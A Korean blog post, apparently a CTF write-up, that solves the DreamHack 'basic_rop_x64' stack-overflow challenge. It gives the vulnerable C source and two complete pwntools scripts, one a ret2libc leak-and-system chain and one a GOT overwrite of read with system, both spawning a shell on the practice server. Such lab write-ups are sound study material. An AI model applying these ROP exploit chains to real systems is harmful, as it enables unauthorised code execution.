Recent Posts
Recent Comments
Link
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] stage7_문제풀이(basic_rop_x64) 본문

Hack/DreamHack(로드맵)

[System_Hacking] stage7_문제풀이(basic_rop_x64)

CIDY 2022. 7. 2. 18:03

어제 자기전에 풀고잤던건데 로드맵에 있던거였네.. 그럼 어제랑은 다른 방법으로 풀어봐야겠다.

//64-bit, nx, partial relro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

진짜 베이직하다.

일단 이건 어제 푼 풀이..

풀이 1 :

from pwn import *

e = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6")
p = remote("host3.dreamhack.games", 13591)

pop_rdi = 0x400883
pop_rsi = 0x400881
ret = 0x4005a9

pay = b"A" * 0x40
pay += b"B" * 0x8
pay += p64(pop_rdi)
pay += p64(e.got['read'])
pay += p64(ret)
pay += p64(e.plt['puts'])
pay += p64(e.sym['main'])

p.send(pay)
p.recvn(0x40)

read = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc_base = read - libc.symbols['read']
print(hex(libc_base))

system = libc_base + libc.symbols['system']
binsh = libc_base + list(libc.search(b"/bin/sh"))[0]

pay = b"A" * 0x40
pay += b"C" * 0x8
pay += p64(pop_rdi)
pay += p64(binsh)
pay += p64(ret)
pay += p64(system)

p.send(pay)
p.interactive()

딱히 설명할 건 없고 릭해서 main으로 돌아간 다음 인자세팅해준게 전부다.


풀이 2 :

from pwn import *

p = remote("host3.dreamhack.games", 16592)
e = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6")

pop_rdi = 0x400883
pop_rsi_r15 = 0x400881
ret = 0x4005a9


pay = b"A" * 0x40
pay += b"B" * 0x8
pay += p64(pop_rdi)
pay += p64(e.got['read'])
#pay += p64(ret)
pay += p64(e.plt['puts'])

pay += p64(pop_rdi)
pay += p64(0)
pay += p64(pop_rsi_r15)
pay += p64(e.got['read'])
pay += p64(0)
pay += p64(e.plt['read'])

pay += p64(pop_rdi)
pay += p64(e.got['read'] + 0x8)
pay += p64(e.plt['read'])

p.send(pay)

read = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc_base = read - libc.symbols['read']
print(hex(libc_base))
system = libc_base + libc.symbols['system']

p.send(p64(system) + b"/bin/sh\x00")
p.interactive()


뭐 간단한 문제라 어떻게 푸나 페이로드 길이는 별 차이 없다. bss에 써주고싶으면 system으로 오버라이트하기 전에 써줄 수 있다.

참고 ↓
https://orcinus-orca.tistory.com/35

[System_Hacking] stage7_문제풀이(Return Oriented Programming)

간단한 문젠데 이것저것 하다보니 풀이를 3개나 써버렸다ㅋㅋ다들 비슷비슷한 인자세팅이긴 함. // Name: rop.c // Compile: gcc -o rop rop.c -fno-PIE -no-pie // 64-bit, canary, nx, partial relro #include #..

orcinus-orca.tistory.com